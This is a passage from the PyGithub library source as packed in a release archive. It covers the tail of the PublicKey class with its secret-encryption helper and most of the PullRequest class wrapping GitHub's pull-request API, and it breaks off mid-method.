GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ # https://docs.github.com/en/rest/reference/actions#example-encrypting-a-secret-using-python from __future__ import annotations from base64 import b64encode from typing import Any from nacl import encoding, public from github.GithubObject import Attribute, CompletableGithubObject, NotSet def encrypt(public_key: str, secret_value: str) -> str: """ Encrypt a Unicode string using the public key. """ pk = public.PublicKey(public_key.encode("utf-8"), encoding.Base64Encoder) sealed_box = public.SealedBox(pk) encrypted = sealed_box.encrypt(secret_value.encode("utf-8")) return b64encode(encrypted).decode("utf-8") class PublicKey(CompletableGithubObject): """ This class represents either an organization public key or a repository public key. The reference can be found here https://docs.github.com/en/rest/reference/actions#get-an-organization-public-key or here https://docs.github.com/en/rest/reference/actions#get-a-repository-public-key The OpenAPI schema can be found at - /components/schemas/actions-public-key """ def _initAttributes(self) -> None: self._created_at: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._key: Attribute[str] = NotSet self._key_id: Attribute[str | int] = NotSet self._title: Attribute[str] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"key_id": self._key_id.value, "key": self._key.value}) @property def created_at(self) -> str: self._completeIfNotSet(self._created_at) return self._created_at.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def key(self) -> str: self._completeIfNotSet(self._key) return self._key.value @property def key_id(self) -> str | int: self._completeIfNotSet(self._key_id) return self._key_id.value @property def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def encrypt(self, unencrypted_value: str) -> str: return encrypt(self._key.value, unencrypted_value) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "created_at" in attributes: # pragma no branch self._created_at = self._makeStringAttribute(attributes["created_at"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "key" in attributes: # pragma no branch self._key = self._makeStringAttribute(attributes["key"]) if "key_id" in attributes: # pragma no branch if isinstance(attributes["key_id"], str): self._key_id = self._makeStringAttribute(attributes["key_id"]) else: self._key_id = self._makeIntAttribute(attributes["key_id"]) if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/PullRequest.py0000644000175100001660000014376714756101563017131 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Michael Stead # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2016 @tmshn # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Aaron Levine # # Copyright 2017 Simon # # Copyright 2018 Ben Yohay # # Copyright 2018 Brian J. Murrell # # Copyright 2018 Gilad Shefer # # Copyright 2018 Martin Monperrus # # Copyright 2018 Matt Babineau <9685860+babineaum@users.noreply.github.com> # # Copyright 2018 Shinichi TAMURA # # Copyright 2018 Steve Kowalik # # Copyright 2018 Thibault Jamet # # Copyright 2018 Wan Liuyang # # Copyright 2018 per1234 # # Copyright 2018 sfdye # # Copyright 2019 MarcoFalke # # Copyright 2019 Mark Browning # # Copyright 2019 MurphyZhao # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Pavan Kunisetty # # Copyright 2019 Steve Kowalik # # Copyright 2019 Tim Gates # # Copyright 2019 Wan Liuyang # # Copyright 2020 Alice GIRARD # # Copyright 2020 Florent Clarret # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2022 tison # # Copyright 2023 Enrico Minack # # Copyright 2023 Heitor Polidoro <14806300+heitorpolidoro@users.noreply.github.com># # Copyright 2023 Heitor Polidoro # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2023 sd-kialo <138505487+sd-kialo@users.noreply.github.com> # # Copyright 2023 vanya20074 # # Copyright 2024 Austin Sasko # # Copyright 2024 Enrico Minack # # Copyright 2024 Evan Fetsko # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Kobbi Gal <85439776+kgal-pan@users.noreply.github.com> # # Copyright 2025 Bruno Didot # # Copyright 2025 Enrico Minack # # Copyright 2025 Ryan Peach # # Copyright 2025 a-sido # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import urllib.parse from datetime import datetime from typing import TYPE_CHECKING, Any from typing_extensions import NotRequired, TypedDict import github.Commit import github.File import github.IssueComment import github.IssueEvent import github.Label import github.Milestone import github.NamedUser import github.PaginatedList import github.PullRequestComment import github.PullRequestMergeStatus import github.PullRequestPart import github.PullRequestReview import github.Team from github import Consts from github.GithubObject import ( Attribute, CompletableGithubObject, NotSet, Opt, is_defined, is_optional, is_optional_list, is_undefined, ) from github.Issue import Issue from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.Commit import Commit from github.File import File from github.GitRef import GitRef from github.IssueComment import IssueComment from github.IssueEvent import IssueEvent from github.Label import Label from github.Milestone import Milestone from github.NamedUser import NamedUser from github.PullRequestComment import PullRequestComment from github.PullRequestMergeStatus import PullRequestMergeStatus from github.PullRequestPart import PullRequestPart from github.PullRequestReview import PullRequestReview from github.Team import Team class ReviewComment(TypedDict): path: str position: NotRequired[int] body: str line: NotRequired[int] side: NotRequired[str] start_line: NotRequired[int] start_side: NotRequired[str] class PullRequest(CompletableGithubObject): """ This class represents PullRequests. The reference can be found here https://docs.github.com/en/rest/reference/pulls The OpenAPI schema can be found at - /components/schemas/pull-request - /components/schemas/pull-request-minimal - /components/schemas/pull-request-simple """ def _initAttributes(self) -> None: self.__links: Attribute[dict[str, Any]] = NotSet self._active_lock_reason: Attribute[str] = NotSet self._additions: Attribute[int] = NotSet self._assignee: Attribute[NamedUser] = NotSet self._assignees: Attribute[list[NamedUser]] = NotSet self._author_association: Attribute[str] = NotSet self._auto_merge: Attribute[dict[str, Any]] = NotSet self._base: Attribute[PullRequestPart] = NotSet self._body: Attribute[str] = NotSet self._changed_files: Attribute[int] = NotSet self._closed_at: Attribute[datetime | None] = NotSet self._comments: Attribute[int] = NotSet self._comments_url: Attribute[str] = NotSet self._commits: Attribute[int] = NotSet self._commits_url: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._deletions: Attribute[int] = NotSet self._diff_url: Attribute[str] = NotSet self._draft: Attribute[bool] = NotSet self._head: Attribute[PullRequestPart] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._issue_url: Attribute[str] = NotSet self._labels: Attribute[list[Label]] = NotSet self._locked: Attribute[bool] = NotSet self._maintainer_can_modify: Attribute[bool] = NotSet self._merge_commit_sha: Attribute[str] = NotSet self._mergeable: Attribute[bool] = NotSet self._mergeable_state: Attribute[str] = NotSet self._merged: Attribute[bool] = NotSet self._merged_at: Attribute[datetime | None] = NotSet self._merged_by: Attribute[NamedUser] = NotSet self._milestone: Attribute[Milestone] = NotSet self._node_id: Attribute[str] = NotSet self._number: Attribute[int] = NotSet self._patch_url: Attribute[str] = NotSet self._rebaseable: Attribute[bool] = NotSet self._requested_reviewers: Attribute[list[NamedUser]] = NotSet self._requested_teams: Attribute[list[Team]] = NotSet self._review_comment_url: Attribute[str] = NotSet self._review_comments: Attribute[int] = NotSet self._review_comments_url: Attribute[str] = NotSet self._state: Attribute[str] = NotSet self._statuses_url: Attribute[str] = NotSet self._title: Attribute[str] = NotSet self._updated_at: Attribute[datetime | None] = NotSet self._url: Attribute[str] = NotSet self._user: Attribute[NamedUser] = NotSet def __repr__(self) -> str: return self.get__repr__({"number": self._number.value, "title": self._title.value}) @property def _links(self) -> dict[str, Any]: self._completeIfNotSet(self.__links) return self.__links.value @property def active_lock_reason(self) -> str: self._completeIfNotSet(self._active_lock_reason) return self._active_lock_reason.value @property def additions(self) -> int: self._completeIfNotSet(self._additions) return self._additions.value @property def assignee(self) -> NamedUser: self._completeIfNotSet(self._assignee) return self._assignee.value @property def assignees(self) -> list[NamedUser]: self._completeIfNotSet(self._assignees) return self._assignees.value @property def author_association(self) -> str: self._completeIfNotSet(self._author_association) return self._author_association.value @property def auto_merge(self) -> dict[str, Any]: self._completeIfNotSet(self._auto_merge) return self._auto_merge.value @property def base(self) -> PullRequestPart: self._completeIfNotSet(self._base) return self._base.value @property def body(self) -> str: self._completeIfNotSet(self._body) return self._body.value @property def changed_files(self) -> int: self._completeIfNotSet(self._changed_files) return self._changed_files.value @property def closed_at(self) -> datetime | None: self._completeIfNotSet(self._closed_at) return self._closed_at.value @property def comments(self) -> int: self._completeIfNotSet(self._comments) return self._comments.value @property def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property def commits(self) -> int: self._completeIfNotSet(self._commits) return self._commits.value @property def commits_url(self) -> str: self._completeIfNotSet(self._commits_url) return self._commits_url.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def deletions(self) -> int: self._completeIfNotSet(self._deletions) return self._deletions.value @property def diff_url(self) -> str: self._completeIfNotSet(self._diff_url) return self._diff_url.value @property def draft(self) -> bool: self._completeIfNotSet(self._draft) return self._draft.value @property def head(self) -> PullRequestPart: self._completeIfNotSet(self._head) return self._head.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def issue_url(self) -> str: self._completeIfNotSet(self._issue_url) return self._issue_url.value @property def labels(self) -> list[Label]: self._completeIfNotSet(self._labels) return self._labels.value @property def locked(self) -> bool: self._completeIfNotSet(self._locked) return self._locked.value @property def maintainer_can_modify(self) -> bool: self._completeIfNotSet(self._maintainer_can_modify) return self._maintainer_can_modify.value @property def merge_commit_sha(self) -> str: self._completeIfNotSet(self._merge_commit_sha) return self._merge_commit_sha.value @property def mergeable(self) -> bool: self._completeIfNotSet(self._mergeable) return self._mergeable.value @property def mergeable_state(self) -> str: self._completeIfNotSet(self._mergeable_state) return self._mergeable_state.value @property def merged(self) -> bool: self._completeIfNotSet(self._merged) return self._merged.value @property def merged_at(self) -> datetime | None: self._completeIfNotSet(self._merged_at) return self._merged_at.value @property def merged_by(self) -> NamedUser: self._completeIfNotSet(self._merged_by) return self._merged_by.value @property def milestone(self) -> Milestone: self._completeIfNotSet(self._milestone) return self._milestone.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def number(self) -> int: self._completeIfNotSet(self._number) return self._number.value @property def patch_url(self) -> str: self._completeIfNotSet(self._patch_url) return self._patch_url.value @property def rebaseable(self) -> bool: self._completeIfNotSet(self._rebaseable) return self._rebaseable.value @property def requested_reviewers(self) -> list[NamedUser]: self._completeIfNotSet(self._requested_reviewers) return self._requested_reviewers.value @property def requested_teams(self) -> list[Team]: self._completeIfNotSet(self._requested_teams) return self._requested_teams.value @property def review_comment_url(self) -> str: self._completeIfNotSet(self._review_comment_url) return self._review_comment_url.value @property def review_comments(self) -> int: self._completeIfNotSet(self._review_comments) return self._review_comments.value @property def review_comments_url(self) -> str: self._completeIfNotSet(self._review_comments_url) return self._review_comments_url.value @property def state(self) -> str: self._completeIfNotSet(self._state) return self._state.value @property def statuses_url(self) -> str: self._completeIfNotSet(self._statuses_url) return self._statuses_url.value @property def title(self) -> str: self._completeIfNotSet(self._title) return self._title.value @property def updated_at(self) -> datetime | None: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def user(self) -> NamedUser: self._completeIfNotSet(self._user) return self._user.value def as_issue(self) -> Issue: """ :calls: `GET /repos/{owner}/{repo}/issues/{number} `_ """ headers, data = self._requester.requestJsonAndCheck("GET", self.issue_url) return github.Issue.Issue(self._requester, headers, data, completed=True) def create_comment(self, body: str, commit: github.Commit.Commit, path: str, position: int) -> PullRequestComment: """ :calls: `POST /repos/{owner}/{repo}/pulls/{number}/comments `_ """ return self.create_review_comment(body, commit, path, position) def create_review_comment( self, body: str, commit: github.Commit.Commit, path: str, # line replaces deprecated position argument, so we put it between path and side line: Opt[int] = NotSet, side: Opt[str] = NotSet, start_line: Opt[int] = NotSet, start_side: Opt[str] = NotSet, in_reply_to: Opt[int] = NotSet, subject_type: Opt[str] = NotSet, as_suggestion: bool = False, ) -> PullRequestComment: """ :calls: `POST /repos/{owner}/{repo}/pulls/{number}/comments `_ """ assert isinstance(body, str), body assert isinstance(commit, github.Commit.Commit), commit assert isinstance(path, str), path assert is_optional(line, int), line assert is_undefined(side) or side in ["LEFT", "RIGHT"], side assert is_optional(start_line, int), start_line assert is_undefined(start_side) or start_side in [ "LEFT", "RIGHT", "side", ], start_side assert is_optional(in_reply_to, int), in_reply_to assert is_undefined(subject_type) or subject_type in [ "line", "file", ], subject_type assert isinstance(as_suggestion, bool), as_suggestion if as_suggestion: body = f"```suggestion\n{body}\n```" post_parameters = NotSet.remove_unset_items( { "body": body, "commit_id": commit._identity, "path": path, "line": line, "side": side, "start_line": start_line, "start_side": start_side, "in_reply_to": in_reply_to, "subject_type": subject_type, } ) headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/comments", input=post_parameters) return github.PullRequestComment.PullRequestComment(self._requester, headers, data, completed=True) def create_review_comment_reply(self, comment_id: int, body: str) -> PullRequestComment: """ :calls: `POST /repos/{owner}/{repo}/pulls/{pull_number}/comments/{comment_id}/replies `_ """ assert isinstance(comment_id, int), comment_id assert isinstance(body, str), body post_parameters = {"body": body} headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/comments/{comment_id}/replies", input=post_parameters, ) return github.PullRequestComment.PullRequestComment(self._requester, headers, data, completed=True) def create_issue_comment(self, body: str) -> IssueComment: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/comments `_ """ assert isinstance(body, str), body post_parameters = { "body": body, } headers, data = self._requester.requestJsonAndCheck("POST", f"{self.issue_url}/comments", input=post_parameters) return github.IssueComment.IssueComment(self._requester, headers, data, completed=True) def create_review( self, commit: Opt[github.Commit.Commit] = NotSet, body: Opt[str] = NotSet, event: Opt[str] = NotSet, comments: Opt[list[ReviewComment]] = NotSet, ) -> PullRequestReview: """ :calls: `POST /repos/{owner}/{repo}/pulls/{number}/reviews `_ """ assert is_optional(commit, github.Commit.Commit), commit assert is_optional(body, str), body assert is_optional(event, str), event assert is_optional_list(comments, dict), comments post_parameters: dict[str, Any] = NotSet.remove_unset_items({"body": body}) post_parameters["event"] = "COMMENT" if is_undefined(event) else event if is_defined(commit): post_parameters["commit_id"] = commit.sha if is_defined(comments): post_parameters["comments"] = comments else: post_parameters["comments"] = [] headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/reviews", input=post_parameters) return github.PullRequestReview.PullRequestReview(self._requester, headers, data) def create_review_request( self, reviewers: Opt[list[str] | str] = NotSet, team_reviewers: Opt[list[str] | str] = NotSet, ) -> None: """ :calls: `POST /repos/{owner}/{repo}/pulls/{number}/requested_reviewers `_ """ assert is_optional(reviewers, str) or is_optional_list(reviewers, str), reviewers assert is_optional(team_reviewers, str) or is_optional_list(team_reviewers, str), team_reviewers if isinstance(reviewers, str): reviewers = [reviewers] if isinstance(team_reviewers, str): team_reviewers = [team_reviewers] post_parameters = NotSet.remove_unset_items({"reviewers": reviewers, "team_reviewers": team_reviewers}) headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/requested_reviewers", input=post_parameters ) def delete_review_request( self, reviewers: Opt[list[str] | str] = NotSet, team_reviewers: Opt[list[str] | str] = NotSet, ) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/pulls/{number}/requested_reviewers `_ """ assert is_optional(reviewers, str) or is_optional_list(reviewers, str), reviewers assert is_optional(team_reviewers, str) or is_optional_list(team_reviewers, str), team_reviewers if isinstance(reviewers, str): reviewers = [reviewers] if isinstance(team_reviewers, str): team_reviewers = [team_reviewers] post_parameters = NotSet.remove_unset_items({"reviewers": reviewers, "team_reviewers": team_reviewers}) headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.url}/requested_reviewers", input=post_parameters ) def edit( self, title: Opt[str] = NotSet, body: Opt[str] = NotSet, state: Opt[str] = NotSet, base: Opt[str] = NotSet, maintainer_can_modify: Opt[bool] = NotSet, ) -> None: """ :calls: `PATCH /repos/{owner}/{repo}/pulls/{number} `_ """ assert is_optional(title, str), title assert is_optional(body, str), body assert is_optional(state, str), state assert is_optional(base, str), base assert is_optional(maintainer_can_modify, bool), maintainer_can_modify post_parameters = NotSet.remove_unset_items( {"title": title, "body": body, "state": state, "base": base, "maintainer_can_modify": maintainer_can_modify} ) headers, data = self._requester.requestJsonAndCheck("PATCH", self.url, input=post_parameters) self._useAttributes(data) def get_comment(self, id: int) -> PullRequestComment: """ :calls: `GET /repos/{owner}/{repo}/pulls/comments/{number} `_ """ return self.get_review_comment(id) def get_review_comment(self, id: int) -> PullRequestComment: """ :calls: `GET /repos/{owner}/{repo}/pulls/comments/{number} `_ """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"{self._parentUrl(self.url)}/comments/{id}") return github.PullRequestComment.PullRequestComment(self._requester, headers, data, completed=True) def get_comments( self, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, since: Opt[datetime] = NotSet, ) -> PaginatedList[PullRequestComment]: """ Warning: this only returns review comments. For normal conversation comments, use get_issue_comments. :calls: `GET /repos/{owner}/{repo}/pulls/{number}/comments `_ :param sort: string 'created' or 'updated' :param direction: string 'asc' or 'desc' :param since: datetime """ return self.get_review_comments(sort=sort, direction=direction, since=since) # v3: remove *, added here to force named parameters because order has changed def get_review_comments( self, *, sort: Opt[str] = NotSet, direction: Opt[str] = NotSet, since: Opt[datetime] = NotSet, ) -> PaginatedList[PullRequestComment]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/comments `_ :param sort: string 'created' or 'updated' :param direction: string 'asc' or 'desc' :param since: datetime """ assert is_optional(sort, str), sort assert is_optional(direction, str), direction assert is_optional(since, datetime), since url_parameters = NotSet.remove_unset_items({"sort": sort, "direction": direction}) if is_defined(since): url_parameters["since"] = since.strftime("%Y-%m-%dT%H:%M:%SZ") return PaginatedList( github.PullRequestComment.PullRequestComment, self._requester, f"{self.url}/comments", url_parameters, ) def get_single_review_comments(self, id: int) -> PaginatedList[PullRequestComment]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/review/{id}/comments `_ """ assert isinstance(id, int), id return PaginatedList( github.PullRequestComment.PullRequestComment, self._requester, f"{self.url}/reviews/{id}/comments", None, ) def get_commits(self) -> PaginatedList[Commit]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/commits `_ """ return PaginatedList(github.Commit.Commit, self._requester, f"{self.url}/commits", None) def get_files(self) -> PaginatedList[File]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/files `_ """ return PaginatedList(github.File.File, self._requester, f"{self.url}/files", None) def get_issue_comment(self, id: int) -> IssueComment: """ :calls: `GET /repos/{owner}/{repo}/issues/comments/{id} `_ """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck("GET", f"{self._parentUrl(self.issue_url)}/comments/{id}") return github.IssueComment.IssueComment(self._requester, headers, data, completed=True) def get_issue_comments(self) -> PaginatedList[IssueComment]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/comments `_ """ return PaginatedList( github.IssueComment.IssueComment, self._requester, f"{self.issue_url}/comments", None, ) def get_issue_events(self) -> PaginatedList[IssueEvent]: """ :calls: `GET /repos/{owner}/{repo}/issues/{issue_number}/events `_ :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.IssueEvent.IssueEvent` """ return PaginatedList( github.IssueEvent.IssueEvent, self._requester, f"{self.issue_url}/events", None, headers={"Accept": Consts.mediaTypeLockReasonPreview}, ) def get_review(self, id: int) -> PullRequestReview: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/reviews/{id} `_ :param id: integer :rtype: :class:`github.PullRequestReview.PullRequestReview` """ assert isinstance(id, int), id headers, data = self._requester.requestJsonAndCheck( "GET", f"{self.url}/reviews/{id}", ) return github.PullRequestReview.PullRequestReview(self._requester, headers, data) def get_reviews(self) -> PaginatedList[PullRequestReview]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/reviews `_ :rtype: :class:`github.PaginatedList.PaginatedList` of :class:`github.PullRequestReview.PullRequestReview` """ return PaginatedList( github.PullRequestReview.PullRequestReview, self._requester, f"{self.url}/reviews", None, ) def get_review_requests(self) -> tuple[PaginatedList[NamedUser], PaginatedList[Team]]: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/requested_reviewers `_ :rtype: tuple of :class:`github.PaginatedList.PaginatedList` of :class:`github.NamedUser.NamedUser` and of :class:`github.PaginatedList.PaginatedList` of :class:`github.Team.Team` """ return ( PaginatedList( github.NamedUser.NamedUser, self._requester, f"{self.url}/requested_reviewers", None, list_item="users", ), PaginatedList( github.Team.Team, self._requester, f"{self.url}/requested_reviewers", None, list_item="teams", ), ) def get_labels(self) -> PaginatedList[Label]: """ :calls: `GET /repos/{owner}/{repo}/issues/{number}/labels `_ """ return PaginatedList(github.Label.Label, self._requester, f"{self.issue_url}/labels", None) def add_to_labels(self, *labels: github.Label.Label | str) -> None: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/labels `_ """ assert all(isinstance(element, (github.Label.Label, str)) for element in labels), labels post_parameters = [label.name if isinstance(label, github.Label.Label) else label for label in labels] headers, data = self._requester.requestJsonAndCheck("POST", f"{self.issue_url}/labels", input=post_parameters) def delete_labels(self) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/labels `_ """ headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.issue_url}/labels") def remove_from_labels(self, label: github.Label.Label | str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/labels/{name} `_ """ assert isinstance(label, (github.Label.Label, str)), label if isinstance(label, github.Label.Label): label = label._identity else: label = urllib.parse.quote(label) headers, data = self._requester.requestJsonAndCheck("DELETE", f"{self.issue_url}/labels/{label}") def set_labels(self, *labels: github.Label.Label | str) -> None: """ :calls: `PUT /repos/{owner}/{repo}/issues/{number}/labels `_ """ assert all(isinstance(element, (github.Label.Label, str)) for element in labels), labels post_parameters = [label.name if isinstance(label, github.Label.Label) else label for label in labels] headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.issue_url}/labels", input=post_parameters) def is_merged(self) -> bool: """ :calls: `GET /repos/{owner}/{repo}/pulls/{number}/merge `_ """ status, headers, data = self._requester.requestJson("GET", f"{self.url}/merge") return status == 204 def restore_branch(self) -> GitRef: """ Convenience function that calls :meth:`Repository.create_git_ref` :rtype: :class:`github.GitRef.GitRef` """ return self.head.repo.create_git_ref(f"refs/heads/{self.head.ref}", sha=self.head.sha) def delete_branch(self, force: bool = False) -> None: """ Convenience function that calls :meth:`GitRef.delete` :rtype: bool. """ if not force: remaining_pulls = self.head.repo.get_pulls(head=f"{self.head.repo.owner.login}:{self.head.ref}") if remaining_pulls.totalCount > 0: raise RuntimeError( "This branch is referenced by open pull requests, set force=True to delete this branch." ) return self.head.repo.get_git_ref(f"heads/{self.head.ref}").delete() def enable_automerge( self, merge_method: Opt[str] = "MERGE", author_email: Opt[str] = NotSet, client_mutation_id: Opt[str] = NotSet, commit_body: Opt[str] = NotSet, commit_headline: Opt[str] = NotSet, expected_head_oid: Opt[str] = NotSet, ) -> dict[str, Any]: """ :calls: `POST /graphql `_ with a mutation to enable pull request auto merge """ assert is_optional(author_email, str), author_email assert is_optional(client_mutation_id, str), client_mutation_id assert is_optional(commit_body, str), commit_body assert is_optional(commit_headline, str), commit_headline assert is_optional(expected_head_oid, str), expected_head_oid assert isinstance(merge_method, str) and merge_method in ["MERGE", "REBASE", "SQUASH"], merge_method # Define the variables variables = { "pullRequestId": self.node_id, "authorEmail": author_email, "clientMutationId": client_mutation_id, "commitBody": commit_body, "commitHeadline": commit_headline, "expectedHeadOid": expected_head_oid, "mergeMethod": merge_method, } # Make the request _, data = self._requester.graphql_named_mutation( mutation_name="enablePullRequestAutoMerge", mutation_input=NotSet.remove_unset_items(variables), output_schema="actor { avatarUrl login resourcePath url } clientMutationId", ) return data def disable_automerge( self, client_mutation_id: Opt[str] = NotSet, ) -> dict[str, Any]: """ :calls: `POST /graphql `_ with a mutation to disable pull request auto merge """ assert is_optional(client_mutation_id, str), client_mutation_id # Define the variables variables = { "pullRequestId": self.node_id, "clientMutationId": client_mutation_id, } # Make the request _, data = self._requester.graphql_named_mutation( mutation_name="disablePullRequestAutoMerge", mutation_input=NotSet.remove_unset_items(variables), output_schema="actor { avatarUrl login resourcePath url } clientMutationId", ) return data def merge( self, commit_message: Opt[str] = NotSet, commit_title: Opt[str] = NotSet, merge_method: Opt[str] = NotSet, sha: Opt[str] = NotSet, delete_branch: bool = False, ) -> PullRequestMergeStatus: """ :calls: `PUT /repos/{owner}/{repo}/pulls/{number}/merge `_ """ assert is_optional(commit_message, str), commit_message assert is_optional(commit_title, str), commit_title assert is_optional(merge_method, str), merge_method assert is_optional(sha, str), sha post_parameters = NotSet.remove_unset_items( {"commit_message": commit_message, "commit_title": commit_title, "merge_method": merge_method, "sha": sha} ) headers, data = self._requester.requestJsonAndCheck("PUT", f"{self.url}/merge", input=post_parameters) if delete_branch: self.delete_branch() return github.PullRequestMergeStatus.PullRequestMergeStatus(self._requester, headers, data) def add_to_assignees(self, *assignees: github.NamedUser.NamedUser | str) -> None: """ :calls: `POST /repos/{owner}/{repo}/issues/{number}/assignees `_ """ assert all(isinstance(element, (github.NamedUser.NamedUser, str)) for element in assignees), assignees post_parameters = { "assignees": [ assignee.login if isinstance(assignee, github.NamedUser.NamedUser) else assignee for assignee in assignees ] } headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.issue_url}/assignees", input=post_parameters ) # Only use the assignees attribute, since we call this PR as an issue self._useAttributes({"assignees": data["assignees"]}) def remove_from_assignees(self, *assignees: github.NamedUser.NamedUser | str) -> None: """ :calls: `DELETE /repos/{owner}/{repo}/issues/{number}/assignees `_ """ assert all(isinstance(element, (github.NamedUser.NamedUser, str)) for element in assignees), assignees post_parameters = { "assignees": [ assignee.login if isinstance(assignee, github.NamedUser.NamedUser) else assignee for assignee in assignees ] } headers, data = self._requester.requestJsonAndCheck( "DELETE", f"{self.issue_url}/assignees", input=post_parameters ) # Only use the assignees attribute, since we call this PR as an issue self._useAttributes({"assignees": data["assignees"]}) def update_branch(self, expected_head_sha: Opt[str] = NotSet) -> bool: """ :calls `PUT /repos/{owner}/{repo}/pulls/{pull_number}/update-branch `_ """ assert is_optional(expected_head_sha, str), expected_head_sha post_parameters = NotSet.remove_unset_items({"expected_head_sha": expected_head_sha}) status, headers, data = self._requester.requestJson( "PUT", f"{self.url}/update-branch", input=post_parameters, headers={"Accept": Consts.updateBranchPreview}, ) return status == 202 def convert_to_draft( self, client_mutation_id: Opt[str] = NotSet, ) -> dict[str, Any]: """ :calls: `POST /graphql `_ to convert pull request to draft """ assert is_optional(client_mutation_id, str), client_mutation_id # Define the variables variables = { "pullRequestId": self.node_id, "clientMutationId": client_mutation_id, } # Make the request _, data = self._requester.graphql_named_mutation( mutation_name="convertPullRequestToDraft", mutation_input=NotSet.remove_unset_items(variables), output_schema="clientMutationId pullRequest { isDraft }", ) self._useAttributes({"draft": data["pullRequest"]["isDraft"]}) return data def mark_ready_for_review( self, client_mutation_id: Opt[str] = NotSet, ) -> dict[str, Any]: """ :calls: `POST /graphql `_ to mark pull request ready for review """ assert is_optional(client_mutation_id, str), client_mutation_id # Define the variables variables = { "pullRequestId": self.node_id, "clientMutationId": client_mutation_id, } # Make the request _, data = self._requester.graphql_named_mutation( mutation_name="markPullRequestReadyForReview", mutation_input=NotSet.remove_unset_items(variables), output_schema="clientMutationId pullRequest { isDraft }", ) self._useAttributes({"draft": data["pullRequest"]["isDraft"]}) return data def _useAttributes(self, attributes: dict[str, Any]) -> None: if "_links" in attributes: # pragma no branch self.__links = self._makeDictAttribute(attributes["_links"]) if "active_lock_reason" in attributes: # pragma no branch self._active_lock_reason = self._makeStringAttribute(attributes["active_lock_reason"]) if "additions" in attributes: # pragma no branch self._additions = self._makeIntAttribute(attributes["additions"]) if "assignee" in attributes: # pragma no branch self._assignee = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["assignee"]) if "assignees" in attributes: # pragma no branch self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, attributes["assignees"]) elif "assignee" in attributes: if attributes["assignee"] is not None: self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, [attributes["assignee"]]) else: self._assignees = self._makeListOfClassesAttribute(github.NamedUser.NamedUser, []) if "author_association" in attributes: # pragma no branch self._author_association = self._makeStringAttribute(attributes["author_association"]) if "auto_merge" in attributes: # pragma no branch self._auto_merge = self._makeDictAttribute(attributes["auto_merge"]) if "base" in attributes: # pragma no branch self._base = self._makeClassAttribute(github.PullRequestPart.PullRequestPart, 